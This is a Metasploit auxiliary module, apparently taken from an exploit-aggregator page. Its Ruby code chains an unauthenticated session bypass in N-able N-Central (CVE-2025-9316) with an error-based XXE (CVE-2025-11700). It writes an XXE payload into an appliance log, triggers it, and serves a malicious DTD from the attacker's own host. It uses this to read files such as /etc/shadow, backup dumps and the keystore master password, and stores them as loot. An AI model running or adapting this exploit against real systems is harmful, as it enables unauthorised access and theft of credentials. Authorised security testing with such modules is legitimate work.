## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-NABLE_NCENTRAL_AUTH_BYPASS_XXE-
# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Retry
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'N-able N-Central Authentication Bypass and XXE Scanner',
'Description' => %q{
This module scans for vulnerable N-able N-Central instances affected by
CVE-2025-9316 (Unauthenticated Session Bypass) and CVE-2025-11700 (XXE).
The module attempts to exploit CVE-2025-9316 by sending a sessionHello SOAP
request to the ServerMMS endpoint with various appliance IDs to obtain an
unauthenticated session. If successful, it then tests for CVE-2025-11700
by writing an XXE payload file and triggering it via importServiceTemplateFromFile.
Files of interest that can be read via XXE:
- /opt/nable/var/ncsai/etc/ncbackup.conf
- /var/opt/n-central/tmp/ncbackup/ncbackup.bin (PostgreSQL dump)
- /opt/nable/etc/keystore.bcfks (encrypted keystore)
- /opt/nable/etc/masterPassword (keystore password)
Affected versions: N-Central < 2025.4.0.9
},
'Author' => [
'Zach Hanley (Horizon3.ai)', # Discovery
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-9316'],
['CVE', '2025-11700'],
['URL', 'https://horizon3.ai/attack-research/attack-blogs/n-able-n-central-from-n-days-to-0-days/']
],
'DisclosureDate' => '2025-11-17',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptIntRange.new('APPLIANCE_ID', [true, 'Appliance ID range to test (e.g., 1-30)', '1-30']),
OptString.new('LOG_PATH', [true, 'Directory path where the log file is written', '/opt/nable/webapps/ROOT/applianceLog']),
OptString.new('FILE', [
true,
'File to read via XXE (e.g., /etc/passwd, /opt/nable/var/ncsai/etc/ncbackup.conf, ' \
'/var/opt/n-central/tmp/ncbackup/ncbackup.bin, /opt/nable/etc/masterPassword, /etc/shadow)',
'/etc/passwd'
])
])
register_advanced_options([
OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]),
OptEnum.new('DTD_PROTO', [false, 'Protocol to use in DTD URL and for the local server (http or https). The local server SSL is synchronized with this option.', 'http', ['http', 'https']])
])
end
def run
@dtd_filename = "#{Rex::Text.rand_text_alpha(8..15)}.dtd"
# Synchronize SSL with DTD_PROTO: N-Central (Java) cannot validate self-signed certificates and will fail with:
# "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
# unable to find valid certification path to requested target"
start_service({
'ssl' => (datastore['DTD_PROTO'] == 'https'),
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
print_status("Started XXE DTD server on #{srvhost_addr}:#{srvport}")
super
end
def run_host(ip)
print_status("Scanning #{ip}:#{rport} for N-Central vulnerabilities")
service = report_service(
host: ip,
port: rport,
proto: 'tcp',
name: 'http',
info: 'N-able N-Central'
)
# Test for CVE-2025-9316 (Authentication Bypass)
session_id, appliance_id = test_auth_bypass
unless session_id && appliance_id
vprint_status("#{ip}:#{rport} - Not vulnerable to CVE-2025-9316 or requires different appliance ID")
return
end
print_good("#{ip}:#{rport} - Vulnerable to CVE-2025-9316 (Authentication Bypass)")
print_good("#{ip}:#{rport} - Obtained session ID: #{session_id} (appliance ID: #{appliance_id})")
report_vuln(
host: ip,
port: rport,
service: service,
name: 'N-able N-Central Unauthenticated Session Bypass',
refs: ['CVE-2025-9316'],
info: "Session ID: #{session_id}, Appliance ID: #{appliance_id}"
)
# Test for CVE-2025-11700 (XXE) using the obtained session
test_xxe(session_id, appliance_id, service)
end
def test_auth_bypass
Msf::OptIntRange.parse(datastore['APPLIANCE_ID']).each do |appliance_id|
vprint_status("Testing appliance ID: #{appliance_id}")
soap_body = <<~XML
<ns1:sessionHello xmlns:ns1="http://www.n-able.com/mickey">
<applianceId>#{appliance_id}</applianceId>
</ns1:sessionHello>
XML
res = send_soap_request('/dms/services/ServerUI', soap_body)
unless res
vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - No response from server, stopping")
return [nil, nil]
end
session_id = parse_session_id(res.body)
return [session_id, appliance_id] if res.code == 200 && session_id
next if expected_error?(res.body)
end
[nil, nil]
end
def expected_error?(body)
body_lower = body.to_s.downcase
[
'invalid version sent to hello',
'appliance type does not exist',
'appliance type id error',
'invalid appliance version'
].any? { |err| body_lower.include?(err) }
end
def test_xxe(session_id, appliance_id, service)
vprint_status("Testing CVE-2025-11700 (XXE) with session ID: #{session_id} (target file: #{datastore['FILE']})")
@nonexistent_path = Rex::Text.rand_text_alpha(8..15)
xxe_payload = build_xxe_payload
encoded_payload = Rex::Text.encode_base64(xxe_payload)
unless write_xxe_payload(session_id, encoded_payload)
vprint_error('Failed to write XXE payload file')
return
end
payload_file = build_log_file_path(appliance_id)
file_content = retry_until_truthy(timeout: datastore['XXETriggerTimeout']) do
res = trigger_xxe(session_id, payload_file)
next nil unless res
extract_file_contents(res.body)
rescue StandardError => e
vprint_error("Error during XXE trigger: #{e.message}")
nil
end
unless file_content
vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - XXE triggered but could not extract file contents from response (timeout or no content)")
return
end
print_good("#{Rex::Socket.to_authority(rhost, rport)} - XXE file read succeeded (CVE-2025-11700)")
print_line
print_line(file_content)
print_line
stored_path = store_loot('nable.file', 'text/plain', rhost, file_content, datastore['FILE'], "XXE file read - #{datastore['FILE']}", service)
print_good("Stored #{datastore['FILE']} to #{stored_path}")
report_vuln(
host: rhost,
port: rport,
service: service,
name: 'N-able N-Central XXE Vulnerability',
refs: ['CVE-2025-11700'],
info: "XXE triggered via importServiceTemplateFromFile - File: #{datastore['FILE']}"
)
end
def build_xxe_payload
# NOTE: DTD_PROTO controls the protocol in the DTD URL that the target will use to fetch the DTD.
# The local server SSL is synchronized with DTD_PROTO. N-Central (Java) cannot validate self-signed certificates
# and will fail with: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException:
# unable to find valid certification path to requested target". HTTP works fine for XXE exploitation.
dtd_url = "#{datastore['DTD_PROTO']}://#{srvhost_addr}:#{srvport}/#{@dtd_filename}"
template_name = Rex::Text.rand_text_alpha(8..15)
ent_xxe = Rex::Text.rand_text_alpha(4..8)
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE servicetemplate [
<!ENTITY % #{ent_xxe} SYSTEM "#{dtd_url}">
%#{ent_xxe};
]>
<servicetemplate syntaxversion="2.1.0.0">
<name>#{template_name}</name>
<data></data>
</servicetemplate>
XML
end
def build_log_file_path(appliance_id)
log_dir = datastore['LOG_PATH'] || '/opt/nable/webapps/ROOT/applianceLog'
"#{log_dir}/network_check_log_#{appliance_id}.log"
end
def write_xxe_payload(session_id, encoded_payload)
soap_body = <<~XML
<ns1:applianceLogSubmit xmlns:ns1="http://www.n-able.com/mickey">
<sessionID>#{session_id}</sessionID>
<logType>NETWORK_CHECK_LOG</logType>
<contents>#{encoded_payload}</contents>
</ns1:applianceLogSubmit>
XML
res = send_soap_request('/dms/services/ServerMMS', soap_body)
unless res
vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - No response from server when writing XXE payload, stopping")
return false
end
res.code == 200
end
def trigger_xxe(session_id, file_path)
soap_body = <<~XML
<ns1:importServiceTemplateFromFile xmlns:ns1="http://www.n-able.com/mickey">
<ns1:sessionId>#{session_id}</ns1:sessionId>
<ns1:customerId>1</ns1:customerId>
<ns1:filePath>#{file_path}</ns1:filePath>
</ns1:importServiceTemplateFromFile>
XML
send_soap_request('/dms/services/ServerUI', soap_body)
end
def send_soap_request(endpoint, soap_body)
soap_request = <<~XML
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header/>
<soapenv:Body>
#{soap_body}
</soapenv:Body>
</soapenv:Envelope>
XML
send_request_cgi({
'uri' => normalize_uri(target_uri.path, endpoint),
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'data' => soap_request,
'headers' => {
'SOAPAction' => '""'
}
})
end
def parse_session_id(response_body)
response_body.downcase.match(%r{<sessionid[^>]*>(\d+)</sessionid>})&.[](1)
end
def extract_file_contents(response_text)
# Extract file contents from SOAP fault detail - handles different instance formats
patterns = [
%r{<detail><string>\[tid:[^\]]+\]\s*/(.*?)(?:\s*\(File name too long\))?</string>}m,
%r{<detail><string>/(.*?)(?:\s*\(File name too long\))?</string>}m,
%r{<detail><string>[^<]*?/(.*?)(?:\s*\(File name too long\))?</string>}m
]
patterns.each do |pattern|
match = response_text.match(pattern)
next unless match
content = match[1].strip
next if content.empty? || content.include?('<string>')
content = content.sub(%r{^[^\n]*?/}, '') if content.match?(%r{^[^\n:]*:/})
return content unless content.empty?
end
nil
end
def on_request_uri(cli, req)
super
print_status("Received request: #{req.method} #{req.uri} from #{cli.peerhost}")
unless req.uri =~ %r{/#{Regexp.escape(@dtd_filename)}}
vprint_status("Request URI doesn't match DTD filename, returning 404")
send_response(cli, 'Not Found', 404)
return
end
handle_dtd_request(cli)
end
def handle_dtd_request(cli)
print_status("DTD requested from #{cli.peerhost}")
dtd = make_xxe_dtd
vprint_status("Sending DTD (#{dtd.length} bytes): #{dtd[0..100]}...")
send_response(cli, dtd, {
'Content-Type' => 'application/xml-dtd',
'Connection' => 'close'
})
end
def make_xxe_dtd
ent_file = Rex::Text.rand_text_alpha(4..8)
ent_eval = Rex::Text.rand_text_alpha(4..8)
# Error-based XXE: inject file content into non-existent file path
# The FileNotFoundException error message will contain the file contents
<<~DTD
<!ENTITY % #{ent_file} SYSTEM "file://#{datastore['FILE']}">
<!ENTITY % #{ent_eval} "<!ENTITY % error SYSTEM 'file:///#{@nonexistent_path}/%#{ent_file};'>">
%#{ent_eval};
%error;
DTD
end
end